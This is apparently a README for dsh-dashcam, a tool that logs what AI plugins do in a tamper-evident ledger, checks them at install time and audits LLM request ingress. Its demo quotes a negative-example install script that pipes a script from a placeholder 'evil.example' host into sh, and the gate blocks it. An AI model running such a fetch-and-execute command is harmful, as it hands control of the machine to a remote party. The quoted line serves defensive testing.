odysseykernelt/dsh-dashcam ↗★ 0
dsh-dashcam
Plugin dashcam for DSH: capability manifests, runtime guards, and a tamper-evident audit ledger (formerly dsh-covenant).
インストール
検証済み bundle がないか、互換性チェックに失敗しています。先にリポジトリの説明を読んでください。 README 全文を読む ↗
ドキュメント
README 全文を読む ↗dsh-dashcam
English | 中文
dsh-dashcam is a dashcam for your AI plugins — it records what they actually do, it does not decide what they may do.
Install it with zero configuration and every observed action — files read, hosts contacted, commands run, tools invoked — lands in a tamper-evident JSONL ledger (SHA-256 hash chain, optional HMAC seal), each line stamped with which plugin did it and whether it happened under a contract (profiled: true) or outside any (profiled: false, zero-contract mode). Nothing is blocked, and no plugin author has to write or declare anything — being observed is not a burden on the observed.
What changes when you install it (default mount, zero contract):
| Before | After | |
|---|---|---|
| Plugin activity | invisible — you learn about it when something breaks | every observed tool call recorded, per call |
| Attribution | guesses | plugin / pluginVersion on every line |
| Under a contract? | unknowable | profiled / manifestHash on every line |
| Tamper evidence | none | hash chain; offline re-verification of every line |
| Blocking | — | none. dashcam mode never denies a call |
30 seconds, zero contract — default mount, empty config. While you work normally, this lands in ~/.dsh/dsh-dashcam/ledger.jsonl (fields elided):
{"v":4,"plugin":"dsh-dashcam-host","capability":"fs","action":"fs.read","scope":{"path":"C:/repo/src/app.ts"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}
{"v":4,"plugin":"dsh-dashcam-host","capability":"proc","action":"proc.spawn","scope":{"command":"git"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}
If you later want judgment on top of recording, add config.requests (what the plugin may do) and config.grants (what the host grants) — the same chain then runs Two-Key: declared + granted → allow, otherwise an advisory would-deny record (or a real deny under enforce: true). Recording and judging share one ledger and one hash chain, so upgrading never forks your audit trail.
Honesty rules of the road:
- It does not block. Recording failures never deny a call: fail-open by default, with a loud warning and a best-effort
ledger_failmarker entry. (policy.ledger.failMode: 'closed'restores refuse-to-run if you want that.) - It does not lie.
decision: denyis only written when something was actually denied;intercepted: truemeans an undeclared call was actually intercepted, not hypothetically. - It says what it cannot see. Unmapped tools are recorded as observed with an input preview; the mount record states which mode the chain is in. No silent blind spots presented as coverage.
If you are not comfortable with a plugin watching plugin activity, do not install it. This is the primary advice, not a disclaimer: the ledger is a high-value target (it knows exactly which files were touched and when), the host adapter runs inside your agent's main process, and "it only records" is precisely why it sees everything. Verify the clone, keep the ledger out of backups you do not trust, set an HMAC key (ledgerMacKey) if tamper-resistance matters — or skip the install; the dashcam works hardest at earning that skepticism.
TL;DR — four steps on the DSH desktop host: clone this repo, then add the dependency
"dsh-dashcam-host": "link:/dsh-dashcam-host"to the profile'spackage.json, appenddsh-dashcam-hosttodsh.profile.bundles, run onepnpm install, restart DeepSeek Harness — done. Details in Fast install. (An npm distribution of the host adapter is on the roadmap; for now, install from a clone.)
Underneath the dashcam sits the machinery built up over previous versions: install-time gates (structure / safety / signature), capability portraits, offline autopsy, ingress reconciliation. They still run — but in dashcam mode their output is evidence and labels, not verdicts.
Zero third-party dependencies, Node.js >= 20 (CommonJS).
Demo: a malicious plugin gets blocked at install time
Real output from the installation gates running on the bundled negative example — a manifest whose patch path escapes the plugin directory and whose install script pipes a remote script into sh (fields elided):
$ node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature
{
"ok": false,
"blocked": true,
"plugin": "com.example.leaky",
"securityLabels": ["Untrusted"],
...
"formatted": [
"[structure] manifest.json field=patches[0].path — patch 路径越出插件目录",
"[structure] manifest.json field=scripts.install — 安装脚本不在白名单:curl http://cdn.evil.example/install.sh | sh"
],
"labelLines": [
"[Untrusted] — 调用方跳过验签,签名状态未知"
]
}
The pipeline fails fast: the structure gate blocks the install before signature/safety/contract stages ever run. Runtime messages are localized (Chinese); every failure points at an exact field and file.
1.11.0 Rename: dsh-covenant → dsh-dashcam
Starting from 1.11.0, this project is renamed dsh-dashcam (the product positioning narrows from "contract layer" to "plugin dashcam": capability declaration + runtime recording + verifiable ledger). The internal capability model name stays dashcam (formerly the covenant capability model); the invariant semantics in docs/SPEC.md are unchanged.
Migration checklist (upgrading from 1.10.x)
| Item | Old | New |
|---|---|---|
| npm package name | dsh-covenant | dsh-dashcam (never published to npm, no dependency change needed) |
| CLI | dsh-covenant | dsh-dashcam (the old command remains in package.json bin as an alias pointing to the same script) |
| Host package | dsh-covenant-host | dsh-dashcam-host |
| Host config entry | - id: dsh-covenant-host | - id: dsh-dashcam-host (config content unchanged) |
| Default ledger path | ~/.dsh/dsh-covenant/ledger.jsonl | ~/.dsh/dsh-dashcam/ledger.jsonl |
| Signature format field | dsh-covenant/signatures@1 | dsh-dashcam/signatures@1 |
| Contract spec | dsh-covenant/1 | dsh-dashcam/1 |
- Automatic ledger migration: on the host's first startup, if the new path does not exist and the old one does, the old ledger (including
.guard.log) is moved in place to the new directory and the log prints账本迁移("ledger migrated"); profiles that explicitly configureledgerPathare unaffected. - Signatures must be re-signed: the
spec/FORMATfields changed, so signature bundles produced by 1.10.x fail verification under 1.11.0 (the signature fields are part of the contract; no dual-format compatibility). - History is not recomputed: ledger content and the hash chain are preserved as-is; old values inside
pluginVersionare kept as history only.
1.12.0 New: ingress audit (LLM request vs. inbound message reconciliation)
The 1.11.0 observation surface is "local execution": tools, files, processes, network. A ghost message produces none of those actions, so a clean ledger is expected. 1.12.0 adds two more metadata streams, landing on the same hash chain:
action | Records |
|---|---|
llm.request | Per request: message count, overall fingerprint messages.hash, added/removed/changed vs. the previous request in the same session, samples of new messages (role / source.kind / length / head80 / sha256 / attachment identity), tool count and fingerprint |
llm.inbound | Every input that actually enters the session: messageId / source.kind / length / sha256 / head80 |
llm.anomaly | Reconciliation failures: added_user_without_inbound / dropped_inbound; records only, never blocks |
Key semantics:
- Four-quadrant test: only "no inbound + present in request" is injection; "absent on both sides" is model-fabricated and does not alert. The latter is exactly the cell where the ghost event fell — it must have an explicit regression test, not rely on someone remembering.
- Whitelist by
source.kind, not by role: injected messages such asruntime-context/compaction/plugin:memory/skill-catalogalso carry roleuser; a role-based whitelist would false-positive immediately. - Observation records are not judgments:
capability='llm.ingress'does not count towardrequests / allows / denies / interceptionRate; it is reported separately asingressRequests/ingressInbound/ingressAnomalies.decisionis alwaysallow; anomalies never writedenyorintercepted. - Metadata only: message bodies never land in the ledger; with
headBytes: 0even the head is omitted. A single record is bounded bymaxLineBytes. - fail-open: recording failures go to the degraded queue +
.guard.logonly; requests are unaffected. - Wiring (verified against local DSH): requests hook the
llm/streamwaterfall (listeners mustreturn next()); inbound comes fromuser/messageonsession/event.agent/request(cannot modify messages) andagent/inbox/spliced(delivery events whose entries can be cancelled) are not used. - First request builds the baseline: when the host is attached mid-session, all historical messages count as "added" with no inbound to compare against, so the first request does not alert.
- Known boundary: local egress can only prove "does X exist in the messages the client sent out". Server-side prefixes appended after the client are out of observation scope;
coverage.unknownis an auxiliary signal only, not proof.
Quick start
npm test # Full suite: contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission
node bin/dsh-dashcam.js help
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --session
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --find "状态栏"
Core model
manifest 声明 ─┐
├─ Two-Key(交集)─→ 守卫链 ─→ 放行 / 拒绝 ─→ Ledger(哈希链)
宿主授予 ─────┘ ↑
One-Seal / 黑名单 / 完整性
- Default deny-all: host
grantsis empty by default. - Non-invasive protection:
policy.enforcement.modedefaults toadvisory— gates run first, then emit security portrait labels (Untrusted/Quarantined/ReviewRequired/Broken/Verified); only malicious scripts and emergency blacklists block installation.mode: 'required'or the enterprise channel restores the "refuse to install" semantics. - Legacy default config: a manifest without a
dashcamfield is still parsed, auto-generating{ level: 'legacy', quarantine: true }; no declaration means no capability (the Two-Key intersection is empty), and the enterprise channel still refuses. - Capability surface:
fs.*,net.outbound,net.listen,proc.spawn,proc.signal,env.*,cred.*. Credential paths and environment variables are automatically escalated tocred.*. - Scope: path globs,
host:port, environment-variable prefix wildcards, command basenames, port subsets, signal-target whitelists. Full semantics in docs/SPEC.md. - Audit: JSONL append + SHA-256 hash chain, fixed fields, offline re-computation line by line;
intercepted=trueseparately records "undeclared API calls actually intercepted", directly retrievable viaLedger.interceptions(). - Ingress observation: request/inbound/anomaly records with
capability='llm.ingress'share the chain and signature verification with judgment records, but are counted separately inmetricsso they do not dilute the allow rate or interception rate;ingress --findonly searches sampled heads (unsampled messages are not covered).
Directory
src/
contract/ capability taxonomy, manifest parsing, Two-Key, Charter/Sieve
runtime/ derivation, guard chain, One-Seal, Ledger, Bridge
handles/ capability handles (closed fs facade)
gates/ structure, safety, loadability, installation pipeline
signing/ Ed25519 dual signatures, trust table
portrait/ capability portrait cards (three tiers)
autopsy/ offline autopsy (six sections) + bundle patch combos
governance/ three-tier rollback, blacklist, monthly metrics, circuit breaker
host/ LocalHost: install → register → invoke → uninstall
bin/ CLI
docs/ specs, rollout cadence, compliance
examples/ positive package, negative package, demo policy
test/ contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission
Host integration
const { activate } = require('dsh-dashcam');
const plugin = activate({
manifest, // parsed manifest
grants, // host grant entries; default empty = deny-all
policy, // see src/policy.js for the default policy
ledgerPath: '.dsh-ledger.jsonl',
pluginRoot: '/path/to/plugin',
registerPreExecute: (check) => host.use(check), // host pre-execute hook
});
// Uninstall
plugin.deactivate();
activate installs native module hooks at the guard entrance (covering in-process fs/net/child_process/env calls) and registers the pre-execute judgment function. If the host only wants judgments without patching, pass patchBuiltins: false.
Fast install (DSH desktop host)
DSH loads plugins per profile: ~/.dsh/profiles/desktop/package.json dependencies decide what gets installed and dsh.profile.bundles decides what gets enabled; the bundle's own cordis.patch.yml wires the plugin into the host config tree. Hooking the judgment chain in takes four steps:
- Mount: clone this repo, then add the dependency
"dsh-dashcam-host": "link:/dsh-dashcam-host"to the profile'spackage.json(pointing at thedsh-dashcam-hostdirectory inside the clone), and appenddsh-dashcam-hosttodsh.profile.bundles. - Install: run
pnpm installonce in the profile directory (using the node/pnpm bundled with the host runtime). - Restart DeepSeek Harness; success is confirmed when the log shows
[dsh-dashcam] 判定链已挂载("judgment chain mounted") (logs live in%APPDATA%\@deepseek-ai\dsh-desktop\logs). - Uninstall: remove the dependency and bundle, restore
cordis.patch.yml, runpnpm installagain, and restart.
The adapter package defaults to patchBuiltins: false: the host is an Electron main process and the Bridge is a process-level patch; installing it directly would take over the app's own fs/net, so by default only the pre-execute judgment function is registered. Set patchBuiltins: true explicitly in the cordis config when real interception is needed (semantics above in "Host integration").
CLI
# Generate publisher/reviewer keys and the trust table
node bin/dsh-dashcam.js keygen ./keys
# Dual signature (publisher + reviewer)
node bin/dsh-dashcam.js sign ./plugin --plugin com.example.plugin --version 1.0.0 \
--publisher-key keys/publisher.private.pem --publisher-key-id publisher-2026a \
--reviewer-key keys/reviewer.private.pem --reviewer-key-id reviewer-2026a
# Verify signature (rebuild manifest → keyId → publisher → reviewer)
node bin/dsh-dashcam.js verify ./plugin --trust keys/trust.json
# Installation gates (blacklist → signature → structure → contract → Sieve → safety → loadability)
node bin/dsh-dashcam.js gates ./plugin --trust keys/trust.json --host --policy examples/demo-policy.json
node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature # negative package: malicious script blocked (ok=false)
# Capability portrait / offline autopsy / metrics / blacklist / rollout
node bin/dsh-dashcam.js portrait ./plugin